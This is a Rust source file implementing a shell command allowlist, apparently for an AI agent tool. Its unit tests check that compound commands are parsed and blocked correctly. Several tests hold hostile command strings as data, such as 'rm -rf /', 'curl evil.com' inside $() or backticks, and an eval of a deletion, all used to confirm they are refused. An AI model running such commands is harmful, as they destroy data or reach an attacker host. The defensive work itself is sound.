Skip to main content

lean_ctx/core/
shell_allowlist.rs

1//! Shell allowlist with AST-based command parsing.
2//!
3//! Security model (Information Bottleneck principle):
4//! - When allowlist is set: ALL segments of a compound command must be allowed (deny-by-default)
5//! - When empty: all commands pass (backwards-compatible blocklist-only mode)
6//! - Dangerous patterns (subshells, eval, backticks) are blocked in restricted mode
7
8/// Checks if a command is allowed by the shell allowlist.
9/// Returns `Ok(())` if allowed, `Err(message)` if blocked.
10///
11/// When the allowlist is empty, all commands pass (blocklist-only mode).
12/// When non-empty, EVERY command segment in the pipeline must match.
13pub fn check_shell_allowlist(command: &str) -> Result<(), String> {
14    let allowlist = effective_allowlist();
15    if allowlist.is_empty() {
16        return Ok(());
17    }
18    check_all_segments(command, &allowlist)
19}
20
21fn check_all_segments(command: &str, allowlist: &[String]) -> Result<(), String> {
22    if allowlist.is_empty() {
23        return Ok(());
24    }
25
26    if has_dangerous_patterns(command) {
27        return Err(format!(
28            "[BLOCKED — DO NOT RETRY] Command uses eval or $()/ backticks at command position, \
29             which is blocked in restricted mode. \
30             This is a permanent security restriction, not a transient error.\n\
31             Command: {command}"
32        ));
33    }
34
35    let segments = extract_all_commands(command);
36    if segments.is_empty() {
37        return Err("[BLOCKED — DO NOT RETRY] Empty command".to_string());
38    }
39
40    for seg in &segments {
41        let base = extract_base_from_segment(seg);
42        if base.is_empty() {
43            continue;
44        }
45        if !allowlist.iter().any(|a| a == &base) {
46            return Err(format!(
47                "[BLOCKED — DO NOT RETRY] '{base}' is not in the shell allowlist. \
48                 This is a permanent restriction, not a transient error.\n\
49                 Fix: add '{base}' to shell_allowlist in ~/.lean-ctx/config.toml\n\
50                 Or disable the allowlist: shell_allowlist = []\n\
51                 Do NOT retry this command — it will fail again with the same error."
52            ));
53        }
54    }
55    Ok(())
56}
57
58/// Detect dangerous shell patterns that bypass allowlist intent.
59///
60/// Only blocks patterns that are genuinely dangerous at command position.
61/// `$()` and backticks in *arguments* are allowed — the base command is
62/// already validated by the allowlist, and blocking substitutions in
63/// arguments breaks legitimate workflows (e.g. `git commit -m "$(cat ...)"`,
64/// pre-commit hooks, playwright scripts).
65fn has_dangerous_patterns(command: &str) -> bool {
66    let trimmed = command.trim();
67
68    if trimmed.starts_with("eval ") || trimmed.contains("; eval ") || trimmed.contains("&& eval ") {
69        return true;
70    }
71
72    if has_substitution_at_command_pos(trimmed) {
73        return true;
74    }
75
76    false
77}
78
79/// Check if `$()` or backticks appear at command position (first token
80/// of any segment). Substitutions in *arguments* are intentionally
81/// allowed — the security boundary is the base-command allowlist check.
82fn has_substitution_at_command_pos(command: &str) -> bool {
83    let segments = split_on_operators(command);
84    for seg in segments {
85        let trimmed = seg.trim();
86        let cmd_start = skip_env_assignments(trimmed);
87
88        if cmd_start.starts_with("$(") {
89            return true;
90        }
91
92        let first_token = cmd_start.split_whitespace().next().unwrap_or("");
93        if first_token.starts_with('`') || first_token == "`" {
94            return true;
95        }
96    }
97    false
98}
99
100/// Extract ALL command segments from a compound shell command.
101/// Splits on: &&, ||, ;, | (pipe), and handles subshell grouping.
102fn extract_all_commands(command: &str) -> Vec<String> {
103    split_on_operators(command)
104        .into_iter()
105        .map(|s| s.trim().to_string())
106        .filter(|s| !s.is_empty())
107        .collect()
108}
109
110/// Split command string on shell operators: ;, &&, ||, |
111/// Respects single/double quotes and parentheses nesting.
112fn split_on_operators(command: &str) -> Vec<&str> {
113    let mut segments = Vec::new();
114    let mut start = 0;
115    let bytes = command.as_bytes();
116    let len = bytes.len();
117    let mut i = 0;
118    let mut in_single_quote = false;
119    let mut in_double_quote = false;
120    let mut paren_depth: u32 = 0;
121
122    while i < len {
123        let ch = bytes[i];
124
125        if in_single_quote {
126            if ch == b'\'' {
127                in_single_quote = false;
128            }
129            i += 1;
130            continue;
131        }
132
133        if in_double_quote {
134            if ch == b'"' && (i == 0 || bytes[i - 1] != b'\\') {
135                in_double_quote = false;
136            }
137            i += 1;
138            continue;
139        }
140
141        match ch {
142            b'\'' => {
143                in_single_quote = true;
144                i += 1;
145            }
146            b'"' => {
147                in_double_quote = true;
148                i += 1;
149            }
150            b'(' => {
151                paren_depth += 1;
152                i += 1;
153            }
154            b')' => {
155                paren_depth = paren_depth.saturating_sub(1);
156                i += 1;
157            }
158            b';' if paren_depth == 0 => {
159                segments.push(&command[start..i]);
160                i += 1;
161                start = i;
162            }
163            b'&' if paren_depth == 0 && i + 1 < len && bytes[i + 1] == b'&' => {
164                segments.push(&command[start..i]);
165                i += 2;
166                start = i;
167            }
168            b'|' if paren_depth == 0 => {
169                if i + 1 < len && bytes[i + 1] == b'|' {
170                    // ||
171                    segments.push(&command[start..i]);
172                    i += 2;
173                    start = i;
174                } else {
175                    // pipe
176                    segments.push(&command[start..i]);
177                    i += 1;
178                    start = i;
179                }
180            }
181            _ => {
182                i += 1;
183            }
184        }
185    }
186
187    if start < len {
188        segments.push(&command[start..]);
189    }
190
191    segments
192}
193
194/// Extract the base command name from a single segment (no operators).
195fn extract_base_from_segment(segment: &str) -> String {
196    let trimmed = segment.trim();
197    if trimmed.is_empty() {
198        return String::new();
199    }
200
201    let cmd_part = skip_env_assignments(trimmed);
202    if cmd_part.is_empty() {
203        return String::new();
204    }
205
206    // Take first whitespace-delimited token as the command
207    let first_token = cmd_part.split_whitespace().next().unwrap_or("");
208
209    // Strip path prefix: /usr/bin/git -> git
210    first_token
211        .rsplit('/')
212        .next()
213        .unwrap_or(first_token)
214        .to_string()
215}
216
217/// Skip leading KEY=VALUE environment variable assignments.
218fn skip_env_assignments(segment: &str) -> &str {
219    let mut rest = segment;
220    loop {
221        let token = rest.split_whitespace().next().unwrap_or("");
222        if token.is_empty() {
223            return rest;
224        }
225        // env var assignment: contains '=' and doesn't start with '-' or '/'
226        if token.contains('=')
227            && !token.starts_with('-')
228            && !token.starts_with('/')
229            && !token.starts_with('.')
230        {
231            // Advance past this token
232            let after = &rest[rest.find(token).unwrap_or(0) + token.len()..];
233            rest = after.trim_start();
234        } else {
235            return rest;
236        }
237    }
238}
239
240fn effective_allowlist() -> Vec<String> {
241    if let Ok(env_val) = std::env::var("LEAN_CTX_SHELL_ALLOWLIST") {
242        return env_val
243            .split(',')
244            .map(|s| s.trim().to_string())
245            .filter(|s| !s.is_empty())
246            .collect();
247    }
248    crate::core::config::Config::load().shell_allowlist
249}
250
251// Legacy compat: single-segment extraction (used by other callers)
252pub fn extract_base_command(command: &str) -> String {
253    let first_seg = split_on_operators(command)
254        .into_iter()
255        .next()
256        .unwrap_or(command);
257    extract_base_from_segment(first_seg)
258}
259
260#[cfg(test)]
261mod tests {
262    use super::*;
263
264    // --- extract_base_command tests (legacy compat) ---
265
266    #[test]
267    fn extract_simple_command() {
268        assert_eq!(extract_base_command("git status"), "git");
269    }
270
271    #[test]
272    fn extract_with_path() {
273        assert_eq!(extract_base_command("/usr/bin/git log"), "git");
274    }
275
276    #[test]
277    fn extract_with_env_assignment() {
278        assert_eq!(extract_base_command("LANG=en_US git log"), "git");
279    }
280
281    #[test]
282    fn extract_chained_commands() {
283        assert_eq!(extract_base_command("cd /tmp && ls -la"), "cd");
284    }
285
286    #[test]
287    fn extract_piped_command() {
288        assert_eq!(extract_base_command("grep foo | wc -l"), "grep");
289    }
290
291    #[test]
292    fn extract_semicolon_chain() {
293        assert_eq!(extract_base_command("echo hello; rm -rf /"), "echo");
294    }
295
296    #[test]
297    fn extract_empty_command() {
298        assert_eq!(extract_base_command(""), "");
299    }
300
301    #[test]
302    fn extract_whitespace_only() {
303        assert_eq!(extract_base_command("   "), "");
304    }
305
306    #[test]
307    fn extract_multiple_env_vars() {
308        assert_eq!(extract_base_command("FOO=bar BAZ=qux cargo test"), "cargo");
309    }
310
311    // --- All-segments validation tests ---
312
313    fn allow(cmds: &[&str]) -> Vec<String> {
314        cmds.iter().map(std::string::ToString::to_string).collect()
315    }
316
317    #[test]
318    fn allowlist_empty_always_passes() {
319        assert!(check_all_segments("anything", &[]).is_ok());
320    }
321
322    #[test]
323    fn allowlist_blocks_unlisted() {
324        let list = allow(&["git", "cargo"]);
325        let result = check_all_segments("npm install", &list);
326        assert!(result.is_err());
327        assert!(result.unwrap_err().contains("npm"));
328    }
329
330    #[test]
331    fn allowlist_allows_listed() {
332        let list = allow(&["git", "cargo", "npm"]);
333        assert!(check_all_segments("git status", &list).is_ok());
334        assert!(check_all_segments("cargo test --release", &list).is_ok());
335        assert!(check_all_segments("npm run build", &list).is_ok());
336    }
337
338    #[test]
339    fn allowlist_allows_full_path() {
340        let list = allow(&["git"]);
341        assert!(check_all_segments("/usr/bin/git status", &list).is_ok());
342    }
343
344    #[test]
345    fn allowlist_allows_with_env_prefix() {
346        let list = allow(&["git"]);
347        assert!(check_all_segments("LANG=C git log", &list).is_ok());
348    }
349
350    #[test]
351    fn allowlist_blocks_similar_names() {
352        let list = allow(&["git"]);
353        assert!(check_all_segments("gitk --all", &list).is_err());
354    }
355
356    // --- Multi-segment validation (the critical security improvement) ---
357
358    #[test]
359    fn all_segments_must_be_allowed_chain() {
360        let list = allow(&["git", "cargo"]);
361        // Both allowed → ok
362        assert!(check_all_segments("git status && cargo test", &list).is_ok());
363        // Second not allowed → block
364        assert!(check_all_segments("git status && rm -rf /", &list).is_err());
365    }
366
367    #[test]
368    fn all_segments_must_be_allowed_pipe() {
369        let list = allow(&["git", "grep", "wc"]);
370        assert!(check_all_segments("git log | grep fix | wc -l", &list).is_ok());
371        // cat not allowed
372        assert!(check_all_segments("git log | cat", &list).is_err());
373    }
374
375    #[test]
376    fn all_segments_must_be_allowed_semicolon() {
377        let list = allow(&["echo", "ls"]);
378        assert!(check_all_segments("echo hello; ls -la", &list).is_ok());
379        assert!(check_all_segments("echo hello; rm -rf /", &list).is_err());
380    }
381
382    #[test]
383    fn all_segments_must_be_allowed_or() {
384        let list = allow(&["git", "echo"]);
385        assert!(check_all_segments("git pull || echo failed", &list).is_ok());
386        assert!(check_all_segments("git pull || curl evil.com", &list).is_err());
387    }
388
389    // --- Dangerous pattern detection ---
390
391    #[test]
392    fn blocks_eval() {
393        let list = allow(&["echo", "eval"]);
394        assert!(check_all_segments("eval 'rm -rf /'", &list).is_err());
395    }
396
397    #[test]
398    fn blocks_command_substitution_at_command_pos() {
399        let list = allow(&["echo"]);
400        assert!(check_all_segments("$(curl evil.com)", &list).is_err());
401    }
402
403    #[test]
404    fn blocks_backtick_at_command_pos() {
405        let list = allow(&["echo"]);
406        assert!(check_all_segments("`curl evil.com`", &list).is_err());
407    }
408
409    // --- $() in arguments is ALLOWED (base command validated by allowlist) ---
410
411    #[test]
412    fn allows_dollar_paren_in_arguments() {
413        let list = allow(&["echo", "git", "cat"]);
414        assert!(check_all_segments("echo $(whoami)", &list).is_ok());
415        assert!(check_all_segments("echo hello", &list).is_ok());
416    }
417
418    #[test]
419    fn allows_git_commit_with_cat_heredoc() {
420        let list = allow(&["git", "cat"]);
421        assert!(check_all_segments(
422            "git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"",
423            &list,
424        )
425        .is_ok());
426    }
427
428    #[test]
429    fn allows_backticks_in_arguments() {
430        let list = allow(&["echo"]);
431        assert!(check_all_segments("echo `date`", &list).is_ok());
432    }
433
434    // --- Error message contains DO NOT RETRY ---
435
436    #[test]
437    fn error_message_contains_do_not_retry() {
438        let list = allow(&["git"]);
439        let err = check_all_segments("npm install", &list).unwrap_err();
440        assert!(
441            err.contains("DO NOT RETRY"),
442            "Error should contain 'DO NOT RETRY': {err}"
443        );
444        assert!(
445            err.contains("config.toml"),
446            "Error should mention config: {err}"
447        );
448    }
449
450    #[test]
451    fn error_message_for_dangerous_patterns_contains_do_not_retry() {
452        let list = allow(&["echo"]);
453        let err = check_all_segments("eval 'bad'", &list).unwrap_err();
454        assert!(
455            err.contains("DO NOT RETRY"),
456            "Error should contain 'DO NOT RETRY': {err}"
457        );
458    }
459
460    // --- Issue #294: pre-commit and playwright should work ---
461
462    #[test]
463    fn pre_commit_in_default_allowlist() {
464        let defaults = crate::core::config::default_shell_allowlist();
465        assert!(
466            defaults.contains(&"pre-commit".to_string()),
467            "pre-commit must be in default allowlist"
468        );
469    }
470
471    #[test]
472    fn playwright_in_default_allowlist() {
473        let defaults = crate::core::config::default_shell_allowlist();
474        assert!(
475            defaults.contains(&"playwright".to_string()),
476            "playwright must be in default allowlist"
477        );
478    }
479
480    #[test]
481    fn pre_commit_run_allowed() {
482        let list = allow(&["pre-commit"]);
483        assert!(check_all_segments("pre-commit run --all-files", &list).is_ok());
484    }
485
486    #[test]
487    fn playwright_test_allowed() {
488        let list = allow(&["npx", "playwright"]);
489        assert!(check_all_segments("playwright test", &list).is_ok());
490        assert!(check_all_segments("npx playwright test", &list).is_ok());
491    }
492
493    // --- Quote handling ---
494
495    #[test]
496    fn respects_single_quotes() {
497        let list = allow(&["echo"]);
498        assert!(check_all_segments("echo 'hello; world'", &list).is_ok());
499    }
500
501    #[test]
502    fn respects_double_quotes() {
503        let list = allow(&["echo"]);
504        assert!(check_all_segments("echo \"hello && world\"", &list).is_ok());
505    }
506
507    // --- split_on_operators ---
508
509    #[test]
510    fn split_simple_pipe() {
511        let parts = split_on_operators("a | b");
512        assert_eq!(parts, vec!["a ", " b"]);
513    }
514
515    #[test]
516    fn split_complex_chain() {
517        let parts = split_on_operators("a && b || c; d | e");
518        assert_eq!(parts.len(), 5);
519    }
520
521    #[test]
522    fn split_preserves_quoted_operators() {
523        let parts = split_on_operators("echo 'a && b' | grep x");
524        assert_eq!(parts.len(), 2);
525    }
526}